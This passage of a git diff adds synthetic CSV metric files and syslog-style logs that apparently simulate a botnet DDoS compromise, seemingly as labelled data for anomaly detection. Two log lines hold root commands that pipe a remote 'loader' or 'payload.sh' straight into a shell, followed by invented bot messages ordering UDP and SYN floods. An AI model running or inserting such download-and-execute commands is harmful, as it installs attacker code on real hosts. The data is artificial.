DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23111 PROTO=UDP SPT=48931 DPT=80 LEN=1480 +Jul 15 10:03:08 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23112 PROTO=UDP SPT=48932 DPT=80 LEN=1480 +Jul 15 10:03:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23113 PROTO=UDP SPT=48933 DPT=80 LEN=1480 +Jul 15 10:03:33 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23114 PROTO=UDP SPT=48934 DPT=80 LEN=1480 +Jul 15 10:03:41 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23115 PROTO=UDP SPT=48935 DPT=80 LEN=1480 +Jul 15 10:04:02 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23116 PROTO=UDP SPT=48936 DPT=80 LEN=1480 +Jul 15 10:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23117 PROTO=UDP SPT=48937 DPT=80 LEN=1480 +Jul 15 10:04:28 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23118 PROTO=UDP SPT=48938 DPT=80 LEN=1480 +Jul 15 10:04:50 webapp[5432]: ERROR: Upstream service unavailable +Jul 15 10:04:56 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23119 PROTO=UDP SPT=48939 DPT=80 LEN=1480 +Jul 15 10:05:12 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23120 PROTO=UDP SPT=48940 DPT=80 LEN=1480 +Jul 15 10:05:29 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23121 PROTO=UDP SPT=48941 DPT=80 LEN=1480 +Jul 15 10:05:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23122 PROTO=UDP SPT=48942 DPT=80 LEN=1480 +Jul 15 10:06:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23123 PROTO=UDP SPT=48943 DPT=80 LEN=1480 +Jul 15 10:06:20 systemd[1]: Started Session 145 of user root. +Jul 15 10:06:30 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:06:30] "GET /health" 200 12 +Jul 15 10:06:50 CRON[1840]: (root) CMD ( /usr/lib/snapd/snapd --review) \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_15.csv b/mali_dataset/scenario_2/mali_2_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..a9ddda92bb319921ce6669ae10a00e014857f604 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T20:00:00Z,11.54,48.21,25.12,1.87,2.97 +2025-08-16T20:00:05Z,15.85,47.91,33.48,1.44,2.54 +2025-08-16T20:00:10Z,9.32,49.71,30.2,1.86,1.91 +2025-08-16T20:00:15Z,14.08,48.32,25.67,1.78,2.1 +2025-08-16T20:00:20Z,16.24,47.58,31.86,1.92,2.85 +2025-08-16T20:00:25Z,7.32,48.11,28.39,1.9,2.26 +2025-08-16T20:00:30Z,11.78,48.82,30.19,1.95,2.6 +2025-08-16T20:00:35Z,10.29,49.03,26.73,1.52,2.23 +2025-08-16T20:00:40Z,13.45,49.15,34.01,2.01,3.01 +2025-08-16T20:00:45Z,12.98,48.65,22.19,1.68,2.88 +2025-08-16T20:00:50Z,8.87,49.33,31.23,1.77,2.41 +2025-08-16T20:00:55Z,15.61,48.51,29.47,1.83,2.77 +2025-08-16T20:01:00Z,11.44,47.88,25.33,1.49,2.18 +2025-08-16T20:01:05Z,10.92,49.24,33.41,1.98,2.94 +2025-08-16T20:01:10Z,14.63,48.39,21.94,2.05,2.56 +2025-08-16T20:01:15Z,9.11,47.67,30.82,1.55,2.03 +2025-08-16T20:01:20Z,13.88,49.52,28.81,1.89,2.99 +2025-08-16T20:01:25Z,16.02,48.17,26.54,1.73,2.49 +2025-08-16T20:01:30Z,7.69,49.09,32.41,1.64,2.83 +2025-08-16T20:01:35Z,12.33,48.46,24.18,1.93,2.34 +2025-08-16T20:01:40Z,14.21,49.81,29.99,2.11,3.12 +2025-08-16T20:01:45Z,10.47,48.23,27.34,1.58,2.16 +2025-08-16T20:01:50Z,11.59,47.85,31.56,1.81,2.67 +2025-08-16T20:01:55Z,13.75,49.11,22.88,1.69,2.45 +2025-08-16T20:02:00Z,12.83,49.63,24.71,8.45,3.92 +2025-08-16T20:02:05Z,98.5,55.4,3.1,1.02,1285.34 +2025-08-16T20:02:10Z,99.2,55.8,2.5,0.98,1301.92 +2025-08-16T20:02:15Z,99.5,56.1,3.5,1.15,1299.88 +2025-08-16T20:02:20Z,98.9,56.3,2.8,0.95,1295.51 +2025-08-16T20:02:25Z,99.1,56.0,3.2,1.05,1305.43 +2025-08-16T20:02:30Z,98.8,55.9,2.9,1.18,1289.66 +2025-08-16T20:02:35Z,99.4,56.5,3.6,0.99,1302.71 +2025-08-16T20:02:40Z,99.0,56.2,2.7,1.08,1293.82 +2025-08-16T20:02:45Z,98.7,56.4,3.3,1.12,1298.49 +2025-08-16T20:02:50Z,99.3,55.8,3.0,0.97,1304.05 +2025-08-16T20:02:55Z,99.6,56.6,3.8,1.13,1296.23 +2025-08-16T20:03:00Z,98.9,56.1,2.6,1.01,1291.17 +2025-08-16T20:03:05Z,99.2,56.3,3.4,1.07,1300.59 +2025-08-16T20:03:10Z,99.5,56.7,2.9,0.96,1288.94 +2025-08-16T20:03:15Z,99.1,56.2,3.1,1.11,1297.76 +2025-08-16T20:03:20Z,98.8,56.4,3.5,1.03,1303.33 +2025-08-16T20:03:25Z,99.4,56.0,2.8,0.99,1294.61 +2025-08-16T20:03:30Z,99.0,55.9,3.2,1.06,1290.87 +2025-08-16T20:03:35Z,98.7,56.5,3.7,1.14,1299.14 +2025-08-16T20:03:40Z,99.3,56.8,3.0,0.98,1305.21 +2025-08-16T20:03:45Z,99.6,56.3,2.5,1.09,1287.42 +2025-08-16T20:03:50Z,98.9,56.1,3.4,1.04,1296.95 +2025-08-16T20:03:55Z,99.2,56.6,3.9,1.16,1301.88 +2025-08-16T20:04:00Z,99.5,56.2,2.7,0.97,1293.73 +2025-08-16T20:04:05Z,99.1,56.4,3.3,1.1,1298.37 +2025-08-16T20:04:10Z,98.8,56.7,2.8,1.02,1295.04 +2025-08-16T20:04:15Z,99.4,56.3,3.1,1.13,1300.11 +2025-08-16T20:04:20Z,99.0,56.5,3.6,0.95,1289.99 +2025-08-16T20:04:25Z,98.7,56.1,3.0,1.07,1297.46 +2025-08-16T20:04:30Z,99.3,56.8,3.5,1.15,1302.54 +2025-08-16T20:04:35Z,99.6,56.4,2.6,0.99,1292.81 +2025-08-16T20:04:40Z,98.9,56.2,3.2,1.08,1296.58 +2025-08-16T20:04:45Z,99.2,56.7,3.8,1.12,1304.32 +2025-08-16T20:04:50Z,99.5,56.3,2.9,0.96,1288.67 +2025-08-16T20:04:55Z,99.1,56.5,3.4,1.1,1299.29 +2025-08-16T20:05:00Z,98.8,56.9,3.1,1.01,1294.52 +2025-08-16T20:05:05Z,99.4,56.4,3.6,1.14,1301.76 +2025-08-16T20:05:10Z,99.0,56.6,2.7,0.98,1290.43 +2025-08-16T20:05:15Z,98.7,56.2,3.3,1.09,1298.84 +2025-08-16T20:05:20Z,99.3,56.8,3.7,1.16,1303.67 +2025-08-16T20:05:25Z,99.6,56.5,2.8,0.97,1291.95 +2025-08-16T20:05:30Z,98.9,56.3,3.2,1.06,1297.11 +2025-08-16T20:05:35Z,99.2,56.7,3.9,1.11,1305.01 +2025-08-16T20:05:40Z,99.5,56.4,2.9,0.99,1289.58 +2025-08-16T20:05:45Z,99.1,56.6,3.4,1.13,1296.33 +2025-08-16T20:05:50Z,98.8,56.1,3.0,1.02,1293.47 +2025-08-16T20:05:55Z,99.4,56.8,3.5,1.15,1300.62 +2025-08-16T20:06:00Z,99.0,56.3,2.6,0.98,1291.24 +2025-08-16T20:06:05Z,98.7,56.5,3.3,1.08,1298.09 +2025-08-16T20:06:10Z,99.3,56.9,3.8,1.12,1302.88 +2025-08-16T20:06:15Z,99.6,56.4,2.7,0.96,1288.13 +2025-08-16T20:06:20Z,98.9,56.6,3.1,1.1,1297.85 +2025-08-16T20:06:25Z,99.2,57.0,3.6,1.14,1304.17 +2025-08-16T20:06:30Z,99.5,56.5,2.8,0.97,1290.76 +2025-08-16T20:06:35Z,99.1,56.7,3.2,1.09,1299.41 +2025-08-16T20:06:40Z,98.8,56.2,3.7,1.16,1303.95 +2025-08-16T20:06:45Z,99.4,56.8,2.9,0.95,1289.32 +2025-08-16T20:06:50Z,99.0,56.3,3.4,1.11,1296.88 +2025-08-16T20:06:55Z,98.7,56.9,3.0,1.03,1294.15 +2025-08-16T20:07:00Z,99.3,56.6,3.5,1.13,1301.06 +2025-08-16T20:07:05Z,99.6,56.2,2.5,1.0,1287.5 +2025-08-16T20:07:10Z,98.9,56.7,3.1,1.08,1295.73 +2025-08-16T20:07:15Z,99.2,56.4,3.8,1.15,1302.21 +2025-08-16T20:07:20Z,99.5,56.8,2.8,0.98,1291.64 +2025-08-16T20:07:25Z,99.1,56.5,3.3,1.07,1298.97 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_15.log b/mali_dataset/scenario_2/mali_2_15.log new file mode 100644 index 0000000000000000000000000000000000000000..a228316fc6a250cbcd3fdc51cbea745db7785468 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_15.log @@ -0,0 +1,41 @@ +Aug 16 20:00:00 systemd[1]: Starting Daily apt download activities... +Aug 16 20:00:05 CRON[2101]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 20:00:30 webapp-db[1534]: LOG: checkpoint starting: time +Aug 16 20:01:05 CRON[2113]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 20:01:45 systemd[1]: Starting Clean php session files... +Aug 16 20:02:00 bash[31221]: (root) CMD (curl -s http://192.168.100.5/loader | bash) +Aug 16 20:02:03 ddos-agent[31255]: Agent started. Awaiting command. +Aug 16 20:02:05 ddos-agent[31255]: Received command. Initiating UDP flood against 198.51.100.123:443 for 300 seconds. +Aug 16 20:02:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=41238 DPT=443 +Aug 16 20:02:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=41239 DPT=443 +Aug 16 20:02:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=58291 DPT=443 +Aug 16 20:02:10 CRON[2125]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 20:02:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=33281 DPT=443 +Aug 16 20:02:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=49882 DPT=443 +Aug 16 20:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=60123 DPT=443 +Aug 16 20:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=37890 DPT=443 +Aug 16 20:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=51234 DPT=443 +Aug 16 20:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=42345 DPT=443 +Aug 16 20:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=56789 DPT=443 +Aug 16 20:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=48901 DPT=443 +Aug 16 20:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=34567 DPT=443 +Aug 16 20:03:15 webapp[1150]: ERROR: Database connection timeout. Unable to serve request for /api/v1/data. +Aug 16 20:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=53210 DPT=443 +Aug 16 20:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=41233 DPT=443 +Aug 16 20:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=45678 DPT=443 +Aug 16 20:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=59012 DPT=443 +Aug 16 20:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=37891 DPT=443 +Aug 16 20:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=51235 DPT=443 +Aug 16 20:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=42346 DPT=443 +Aug 16 20:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=56790 DPT=443 +Aug 16 20:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=48902 DPT=443 +Aug 16 20:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=34568 DPT=443 +Aug 16 20:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=53211 DPT=443 +Aug 16 20:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=41234 DPT=443 +Aug 16 20:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=45679 DPT=443 +Aug 16 20:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=59013 DPT=443 +Aug 16 20:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=37892 DPT=443 +Aug 16 20:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=51236 DPT=443 +Aug 16 20:06:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=42347 DPT=443 +Aug 16 20:07:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=56791 DPT=443 +Aug 16 20:07:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.8 DST=198.51.100.123 PROTO=UDP SPT=48903 DPT=443 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_16.csv b/mali_dataset/scenario_2/mali_2_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..7a569b540ca64b60e5c31ef8b8724709a53f1f28 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-10T14:30:00Z,18.33,51.42,28.19,2.11,3.45 +2025-09-10T14:30:05Z,12.45,52.01,35.22,1.98,3.01 +2025-09-10T14:30:10Z,15.91,51.87,31.47,2.34,2.89 +2025-09-10T14:30:15Z,9.88,51.34,24.98,1.87,2.43 +2025-09-10T14:30:20Z,16.72,52.22,33.51,2.05,3.21 +2025-09-10T14:30:25Z,11.53,51.68,29.11,2.15,2.99 +2025-09-10T14:30:30Z,14.88,52.31,30.82,2.41,3.33 +2025-09-10T14:30:35Z,10.12,51.95,26.43,1.91,2.78 +2025-09-10T14:30:40Z,17.03,52.14,34.78,2.22,3.56 +2025-09-10T14:30:45Z,13.67,51.55,23.81,1.76,2.65 +2025-09-10T14:30:50Z,10.89,52.48,32.09,2.09,2.88 +2025-09-10T14:30:55Z,16.33,51.72,29.88,2.28,3.14 +2025-09-10T14:31:00Z,12.19,52.05,27.43,1.82,2.51 +2025-09-10T14:31:05Z,15.42,51.91,34.01,2.39,3.47 +2025-09-10T14:31:10Z,13.81,51.67,22.76,2.18,2.77 +2025-09-10T14:31:15Z,11.03,52.33,31.55,1.94,2.83 +2025-09-10T14:31:20Z,16.11,51.83,28.69,2.31,3.29 +2025-09-10T14:31:25Z,10.43,52.18,26.12,1.88,2.69 +2025-09-10T14:31:30Z,14.28,51.99,32.94,2.02,3.18 +2025-09-10T14:31:35Z,12.76,51.49,24.03,1.99,2.58 +2025-09-10T14:31:40Z,17.22,52.51,30.56,2.45,3.61 +2025-09-10T14:31:45Z,9.59,51.81,27.18,1.79,2.41 +2025-09-10T14:31:50Z,13.92,52.08,31.99,2.24,3.03 +2025-09-10T14:31:55Z,15.01,51.63,23.54,2.07,2.81 +2025-09-10T14:32:00Z,14.65,52.29,25.33,9.8,4.15 +2025-09-10T14:32:05Z,99.4,58.1,2.8,0.88,1455.72 +2025-09-10T14:32:10Z,99.8,58.5,2.2,0.91,1481.33 +2025-09-10T14:32:15Z,99.6,58.8,3.1,1.04,1479.54 +2025-09-10T14:32:20Z,99.2,58.9,2.5,0.85,1475.21 +2025-09-10T14:32:25Z,99.5,58.6,2.9,0.99,1485.01 +2025-09-10T14:32:30Z,99.3,58.7,2.6,1.08,1469.19 +2025-09-10T14:32:35Z,99.7,59.1,3.3,0.92,1482.93 +2025-09-10T14:32:40Z,99.1,58.8,2.4,1.01,1473.66 +2025-09-10T14:32:45Z,99.4,59.0,3.0,1.03,1478.11 +2025-09-10T14:32:50Z,99.8,58.5,2.7,0.89,1484.28 +2025-09-10T14:32:55Z,99.9,59.2,3.5,1.05,1476.88 +2025-09-10T14:33:00Z,99.2,58.7,2.3,0.94,1471.04 +2025-09-10T14:33:05Z,99.6,58.9,3.1,1.00,1480.32 +2025-09-10T14:33:10Z,99.8,59.3,2.6,0.87,1468.45 +2025-09-10T14:33:15Z,99.5,58.8,2.8,1.02,1477.59 +2025-09-10T14:33:20Z,99.3,59.0,3.2,0.96,1483.71 +2025-09-10T14:33:25Z,99.7,58.6,2.5,0.90,1474.13 +2025-09-10T14:33:30Z,99.1,58.7,2.9,0.98,1470.92 +2025-09-10T14:33:35Z,99.4,59.1,3.4,1.06,1479.44 +2025-09-10T14:33:40Z,99.8,59.4,2.7,0.91,1485.39 +2025-09-10T14:33:45Z,99.9,58.9,2.2,1.02,1467.58 +2025-09-10T14:33:50Z,99.2,58.7,3.1,0.97,1476.09 +2025-09-10T14:33:55Z,99.6,59.2,3.6,1.09,1481.52 +2025-09-10T14:34:00Z,99.8,58.8,2.4,0.88,1473.11 +2025-09-10T14:34:05Z,99.5,59.0,3.0,1.03,1478.88 +2025-09-10T14:34:10Z,99.3,59.3,2.5,0.95,1475.23 +2025-09-10T14:34:15Z,99.7,58.9,2.8,1.05,1480.64 +2025-09-10T14:34:20Z,99.1,59.1,3.3,0.86,1469.76 +2025-09-10T14:34:25Z,99.4,58.7,2.7,0.99,1477.92 +2025-09-10T14:34:30Z,99.8,59.4,3.2,1.08,1482.01 +2025-09-10T14:34:35Z,99.9,59.0,2.3,0.92,1472.33 +2025-09-10T14:34:40Z,99.2,58.8,2.9,1.01,1476.99 +2025-09-10T14:34:45Z,99.6,59.3,3.5,1.04,1484.77 +2025-09-10T14:34:50Z,99.8,58.9,2.6,0.87,1468.21 +2025-09-10T14:34:55Z,99.5,59.1,3.1,1.03,1479.41 +2025-09-10T14:35:00Z,99.3,59.5,2.8,0.94,1474.07 +2025-09-10T14:35:05Z,99.7,59.0,3.3,1.07,1481.19 +2025-09-10T14:35:10Z,99.1,59.2,2.4,0.90,1470.88 +2025-09-10T14:35:15Z,99.4,58.8,3.0,1.02,1478.65 +2025-09-10T14:35:20Z,99.8,59.4,3.4,1.09,1483.22 +2025-09-10T14:35:25Z,99.9,59.1,2.5,0.89,1471.74 +2025-09-10T14:35:30Z,99.2,58.9,2.9,0.98,1477.34 +2025-09-10T14:35:35Z,99.6,59.3,3.6,1.03,1485.11 +2025-09-10T14:35:40Z,99.8,59.0,2.6,0.91,1469.37 +2025-09-10T14:35:45Z,99.5,59.2,3.1,1.06,1476.49 +2025-09-10T14:35:50Z,99.3,58.7,2.7,0.95,1473.91 +2025-09-10T14:35:55Z,99.7,59.4,3.2,1.08,1480.25 +2025-09-10T14:36:00Z,99.1,58.9,2.3,0.93,1471.86 +2025-09-10T14:36:05Z,99.4,59.1,3.0,1.01,1478.29 +2025-09-10T14:36:10Z,99.8,59.5,3.5,1.10,1482.43 +2025-09-10T14:36:15Z,99.9,59.0,2.4,0.88,1468.99 +2025-09-10T14:36:20Z,99.2,59.2,2.8,1.04,1477.01 +2025-09-10T14:36:25Z,99.6,59.6,3.3,1.07,1484.72 +2025-09-10T14:36:30Z,99.8,59.1,2.5,0.90,1470.55 +2025-09-10T14:36:35Z,99.5,59.3,2.9,1.02,1479.98 +2025-09-10T14:36:40Z,99.3,58.8,3.4,1.09,1483.14 +2025-09-10T14:36:45Z,99.7,59.4,2.6,0.87,1469.09 +2025-09-10T14:36:50Z,99.1,58.9,3.1,1.05,1476.22 +2025-09-10T14:36:55Z,99.4,59.5,3.0,1.03,1474.39 +2025-09-10T14:37:00Z,99.8,59.1,3.5,1.11,1481.67 +2025-09-10T14:37:05Z,99.9,58.7,2.2,0.96,1467.87 +2025-09-10T14:37:10Z,99.2,59.2,2.8,1.01,1475.98 +2025-09-10T14:37:15Z,99.6,59.6,3.3,1.12,1482.34 +2025-09-10T14:37:20Z,99.8,59.2,2.5,0.94,1471.12 +2025-09-10T14:37:25Z,99.5,59.4,3.0,1.06,1478.49 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_16.log b/mali_dataset/scenario_2/mali_2_16.log new file mode 100644 index 0000000000000000000000000000000000000000..59346fd87df725e6cf6fa837cf1dd9267939cd94 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_16.log @@ -0,0 +1,31 @@ +Sep 10 14:30:00 server-db[2105]: LOG: database system is ready to accept connections +Sep 10 14:30:15 CRON[25301]: (root) CMD ( /usr/lib/lustre/lustre-health-check ) +Sep 10 14:30:40 systemd[1]: Started Session 123 of user root. +Sep 10 14:31:15 CRON[25315]: (root) CMD ( /usr/lib/lustre/lustre-health-check ) +Sep 10 14:31:50 systemd[1]: Starting Log Rotation... +Sep 10 14:32:00 sh[25330]: (root) CMD (wget -qO- http://10.10.10.5/payload.sh | /bin/sh) +Sep 10 14:32:03 bot-daemon[25334]: Initializing network sockets. +Sep 10 14:32:05 bot-daemon[25334]: Attack order received. Target: 203.0.113.55:80. Method: TCP-SYN Flood. +Sep 10 14:32:05 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=48123 DPT=80 SYN +Sep 10 14:32:05 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=48124 DPT=80 SYN +Sep 10 14:32:10 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=51987 DPT=80 SYN +Sep 10 14:32:15 CRON[25341]: (root) CMD ( /usr/lib/lustre/lustre-health-check ) +Sep 10 14:32:20 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=33214 DPT=80 SYN +Sep 10 14:32:30 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=49872 DPT=80 SYN +Sep 10 14:32:45 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=60123 DPT=80 SYN +Sep 10 14:33:00 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=37890 DPT=80 SYN +Sep 10 14:33:15 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=51234 DPT=80 SYN +Sep 10 14:33:30 api-service[1899]: WARN: High latency detected on upstream service 'auth-service'. Response time: 4500ms +Sep 10 14:33:40 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=42345 DPT=80 SYN +Sep 10 14:34:05 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=56789 DPT=80 SYN +Sep 10 14:34:20 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=48901 DPT=80 SYN +Sep 10 14:34:45 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=34567 DPT=80 SYN +Sep 10 14:35:00 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=53210 DPT=80 SYN +Sep 10 14:35:10 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=41233 DPT=80 SYN +Sep 10 14:35:35 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=45678 DPT=80 SYN +Sep 10 14:35:55 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=59012 DPT=80 SYN +Sep 10 14:36:10 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=37891 DPT=80 SYN +Sep 10 14:36:30 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=51235 DPT=80 SYN +Sep 10 14:36:50 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=42346 DPT=80 SYN +Sep 10 14:37:05 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=56790 DPT=80 SYN +Sep 10 14:37:25 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.55 PROTO=TCP SPT=48902 DPT=80 SYN \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_17.csv b/mali_dataset/scenario_2/mali_2_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..e2a8e8be2ba6c078210d3b43573c16b5001f6237 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_17.csv @@ -0,0 +1,72 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-11T03:00:00Z,9.76,41.88,38.21,1.55,2.18 +2025-09-11T03:00:05Z,13.21,42.15,41.98,1.29,1.99 +2025-09-11T03:00:10Z,10.54,41.54,35.77,1.68,2.34 +2025-09-11T03:00:15Z,8.99,42.31,31.22,1.43,1.81 +2025-09-11T03:00:20Z,14.03,41.77,40.11,1.71,2.55 +2025-09-11T03:00:25Z,11.87,42.03,36.54,1.58,2.21 +2025-09-11T03:00:30Z,12.55,41.82,38.99,1.82,2.48 +2025-09-11T03:00:35Z,9.43,42.24,33.18,1.35,2.02 +2025-09-11T03:00:40Z,15.11,41.69,42.34,1.79,2.78 +2025-09-11T03:00:45Z,12.98,42.09,30.01,1.49,2.13 +2025-09-11T03:00:50Z,10.02,41.93,39.87,1.63,2.39 +2025-09-11T03:00:55Z,13.78,41.74,37.12,1.75,2.61 +2025-09-11T03:01:00Z,11.23,42.11,34.87,1.41,2.08 +2025-09-11T03:01:05Z,14.65,41.85,41.65,1.85,2.71 +2025-09-11T03:01:10Z,12.01,42.28,29.88,1.69,2.29 +2025-09-11T03:01:15Z,10.67,41.98,38.23,1.52,2.33 +2025-09-11T03:01:20Z,15.34,41.62,40.98,1.91,2.83 